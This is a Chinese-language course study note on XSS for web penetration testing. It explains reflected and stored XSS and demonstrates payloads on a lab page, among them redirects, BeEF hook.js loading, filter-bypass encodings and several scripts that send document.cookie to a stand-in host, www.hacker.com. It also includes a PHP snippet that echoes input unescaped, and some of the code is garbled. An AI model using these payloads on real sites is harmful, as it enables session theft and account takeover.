XSS 跨站脚本攻击_2 | 学习笔记

简介: 快速学习 XSS 跨站脚本攻击_2

开发者学堂课程【网络安全攻防 - Web渗透测试XSS 跨站脚本攻击_2】学习笔记,与课程紧密联系,让用户快速学习知识。

课程地址:https://developer.aliyun.com/learning/course/630/detail/9912


XSS 跨站脚本攻击_2


内容介绍

一、XSS 主要原因

二、XSS 主要分类

三、构造 XSS 脚本

四、反射型 XSS


课程概要:下面介绍 XSS 跨站脚本攻击具体如何操作


一、XSS 主要原因

对客户端过于信任提交的数据!


二、XSS 主要分类

反射型 xss 攻击( Reflected xss ),又称为非持久性跨站点脚本攻击,它是最常见的类型的 XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。—个典型的非持久性 XSS 包含一个带 XSS 攻击向量的链接(即每次攻击需要用户的点击)

存储型 XSS ( Stored XSS),又称为持久型跨站点脚本,它一般发生在 XSS 攻击向量(一般指 XSS 攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的 XSS 相比非持久性 XSS 攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的 orkut 曾经就遭受到 XSS


三、构造 XSS 脚本

首先会使用到 HTML 标签和 JavaScript 方法

1.  常用 HTML 标签

(1)  <iframe>

iframe 元素会创建包含另外一个文档的内联框架(即行内框架)

比如在一个页面上嵌入一个页面,可以使用这个标签,在一个网页里嵌入另一个标签也是如此。

(2)  <textarea>

<textarea>标签定义多行的文本输入控件。

(3)  <img>

img 元素向网页中嵌入一幅图像。

(4)  <script>

<script>标签用于定义客户端脚本,比如 JavaScript

script 元素既可以包含脚本语句,也可以通过 src 属性指向外部脚文件。必需的 type 属性规定脚本的 MIME 类型。JavaScript 的常见应用时图像操作、表单验证以及动态内容更新。

这四个是比较常用的标签。

2.  常用 JavaScript 的方法

(1)  Alert

alert()方法用于显示带有一条指定消息和一个确认按钮的警告框

(2)  window.location

window.location对象用于获得当前页面的地址(URL),并把浏览器重定向到新的页面(让用户的浏览器进行一个跳转)。

(3)  location.href

返回当前显示的文档的完整 URL

(4)  Onload

—张页面或—幅图像完成加载执行

(5)  Onsubmit

确认按钮被点击(点击时会被触发)

(6)  Onerror

在加载文档或图像时发生错误的时候,这个行为会被触发

3.  构造 XSS 脚本

弹出警告、页面嵌套、页面重定向、弹框警告并重定向、访问恶意代码、巧用图片标签、绕过过滤脚本,从这些方式上来构造不同功能的 XSS 脚本,这只是其中一部分。

(1)弹框警告

此脚本实现弹框提示,弹框警告没有太大的意义,但是有一个意义,一般作为漏洞测试或者演示使用,类似 SQL 注入漏洞测试中的单引号'(如果报语法错误就明确说明这里有 SQL 注入漏洞,如果弹框出来说明有 XSS 漏洞),所以更多的是来展示、测试或者类似于单引号。一旦此脚本能执行,也就意味着后端服务器没有对特殊字符做过滤<>/’这样就可以证明,这个页面位置存在了 XSS 漏洞。

未过滤符号,基本上就会放置 XSS 脚本的可能性

<script>alert( "xss ' )</ script>

<script>alert(document.cookie)</script>

打开网页控制台,在 XSS 对话框中输入<script>alert( "xss ' )</ script>,点击 Submit 提交

image.png

运行结果:

image.png

结论:没有对符号进行过滤,导致把他当成脚本执行

打开网页控制台,在 XSS 对话框中输入:

<script>alert(document.cookie)</script>,点击 Submit 提交后运行

总结:Cookile 里面放置 sessionID

2)页面嵌套

<iframe src-http: / /vww .baidu.com width=300 height=300>

</iframe>

<iframe src-http://www.baidu.com width=0 height=0>

</iframe>

使用 iframe 框架,打开网页控制台,在 XSS 对话框中输入

<iframe src-http: / /vww .baidu.com width=300 height=300>

</iframe>

点击 Submit 提交

image.png

总结 :嵌套了指定网页内嵌的框,前端 html 时的一个标签,里面嵌套框给了一个地址,不同的是框的大小

3)页面重定向

<script>window .location="http: //www .qfedu.com"</ script>

<script>location.href=”http : //www . baidu.com"</script>

打开网页控制台,在 XSS 对话框中输入

<script>window.location="http://www.qfedu.com"</ script>,点击 Submit 提交

image.png

结论:页面跳转

②打开网页控制台,在 XSS 对话框中输入:

<script>location.href=”http : //www . baidu.com"</script>

点击 Submit 提交后运行

(4)弹框警告并童定向

#没有任何实质意义,作为漏洞测试和演示使用,更像sql注入用到的单引号,一旦弹框出来后端服务器没检测到服务

①<script>alert("请移步到我们的新站");location. Href=”http://www.qfedu.com“</script>

<script>alert('xss ' );location.href=

"http:/ No.1,64.35/mutillidae/robots.txt"

</script>

②打开网页控制台,在 XSS 对话框中输入:

<script>alert("请移步到我们的新站");location. Href=”http://www.qfedu.com“</script>

点击 Submit 提交后运行:

image.png

这里结合了一些社工的思路,例如,通过网站内部私信的方式将其发给其他用户。如果其他用户点击并且相信了这个信息,则可能在另外的站点重新登录账户(克隆网站收集账户)

5)访问恶意代码

<script src="http: // wiws . qfedu. com/xss.js"></script>

<script src="http: //BeEF_IP: 3000 / hook .js"></script>

//结合 BeEF 收集用户的 cookie

image.png

访问机器,收集 cookie 的脚本文件,下面访问代码会把 cookie 带走,后面在搭建 beef,自动在本地3000端口监听,提供 hook.js 文件。类似于重定向,破解访问文件。

打开网页控制台,在 XSS 对话框中输入:

<script src="http: // www . qfedu. com/xss.js"></script>,点击 Submit 提交后运行:

image.png

结论:Location src 都是让用户访问位置,跑完之后没有任何页面弹窗和变化。

6)巧用图片标签

<img src=# onerror=alert( xss )>

<img src="javascript:alert(xss);">

<img src=http: //BeEF_IP : 3000 / hook.js"> < /img>

使用图片标签访问会更加隐秘,但会触发访问文件

打开网页控制台,在 XSS 对话框中输入:

<img src=”http: //BeEF_IP : 3000 / hook.js">

< /img>,点击 Submit 提交后运行

结果:访问到碎图片,巧用图片标签,放置对脚本标签进行捕捉

7)绕开过滤的脚本

大小写 <ScrIpt>alert( "xss " )</SCRipt>

字符编码采用 URLBase64等编码<ahref="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115 ;&#34;&#41 ; " >yangge</a>

//这里是链接的意思

打开网页控制台,在 XSS 对话框中输入:<ahrefr="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115 ;&#34;&#41 ; " >yangge</a>

点击 Submit 提交后运行

结论:出现超链接后点击超链接运行,执行一个弹框:

image.png

(8)收集用户 cookie

打开新窗口并且采用本地 cookie 访问目标网页,打开新窗口并且采用本地 cookie 访问目标网页。

<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>

<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script>

<script>new Image( ) .src="http://ww.hacker.com/cookie.php?cookiem ="+document.cookie;</script>

<img src="http://ww.hacker.com/cookie.php?cookie='+document.cookie"></img>

<iframe src=”http://www.hacker.com/cookie.php?Cookie=’+doucument.cookie”></iframe>

<script>new Image().src=

"http://www.hacker.com/cookie.php?cookie='+document.cookie";

img .width = 0;

img.height = 0;

</script>

//访问网页然后传参后获取 cookie

从一系列的方式上构建不同的 XSS 脚本,最管用的是巧用图片,访问钩子文件。


四、反射型 XSS

目前低级别当中,对用户输入的内容没有做任何过滤

<?php

if(!array_key_exists("name",$_GET)||$_GET['name']==NULL||$_GET['name’] = ‘’)

{

$isempty = true ;

}

else {

echo '<pre>':

echo 'Hello’. $_GET[’name‘] ;

echo '</pre>’ :

}

?>

①输入内容把或得到的内容 name,拼接内容,最后输出出来。

②测试弹框警告:document.cookie 是获取当前自己的 cookie,收集到自己的 cookie 作为参数传给其他页面。

③发送链接:

<script src="http: //BeEF_IP: 3000 / hook .js"></script>

链接发个用户中招的数量是有限的,而存储型的好多用户都点,做一个超链接,别人一点超链接诱导别人点击可以收集他人 cookie。

相关文章
|
4天前
|
JavaScript 安全 前端开发
同源策略如何防止 XSS 攻击?
【10月更文挑战第31天】同源策略通过对 DOM 访问、Cookie 访问、脚本执行环境和跨源网络请求等多方面的严格限制,构建了一道坚实的安全防线,有效地防止了 XSS 攻击,保护了用户在网络浏览过程中的数据安全和隐私。
68 49
|
9天前
|
安全 前端开发 Java
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
37 4
|
9天前
|
安全 Go PHP
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
32 2
|
4天前
|
SQL 存储 安全
什么是XSS攻击?什么是SQL注入攻击?什么是CSRF攻击?
理解并防范XSS、SQL注入和CSRF攻击是Web应用安全的基础。通过采用严格的输入验证、使用安全编码实践以及实现适当的身份验证和授权机制,可以有效防止这些常见的Web攻击,保障应用程序和用户的数据安全。
11 0
|
4月前
|
存储 安全 JavaScript
手摸手带你进行XSS攻击与防御
当谈到网络安全和信息安全时,跨站脚本攻击(XSS)是一个不可忽视的威胁。现在大家使用邮箱进行用户认证比较多,如果黑客利用XSS攻陷了用户的邮箱,拿到了cookie那么就可以冒充你进行收发邮件,那真就太可怕了,通过邮箱验证进行其他各种网站的登录与高危操作。 那么今天,本文将带大家深入了解XSS攻击与对应的防御措施。
|
11天前
|
存储 安全 Go
Web安全基础:防范XSS与CSRF攻击的方法
【10月更文挑战第25天】Web安全是互联网应用开发中的重要环节。本文通过具体案例分析了跨站脚本攻击(XSS)和跨站请求伪造(CSRF)的原理及防范方法,包括服务器端数据过滤、使用Content Security Policy (CSP)、添加CSRF令牌等措施,帮助开发者构建更安全的Web应用。
45 3
|
2月前
|
存储 安全 JavaScript
XSS跨站脚本攻击详解(包括攻击方式和防御方式)
这篇文章详细解释了XSS跨站脚本攻击的概念、原理、特点、类型,并提供了攻击方式和防御方法。
241 1
|
1月前
|
存储 JavaScript 安全
|
1月前
|
存储 JavaScript 前端开发
Xss跨站脚本攻击(Cross Site Script)
Xss跨站脚本攻击(Cross Site Script)
|
4月前
|
SQL 安全 数据库
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁,提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范;XSS 则需 HTML 转义用户输入与实施 CSP;CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧,能有效加固 Web 应用的安全防线。安全是持续的过程,需贯穿开发始终。
88 1
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!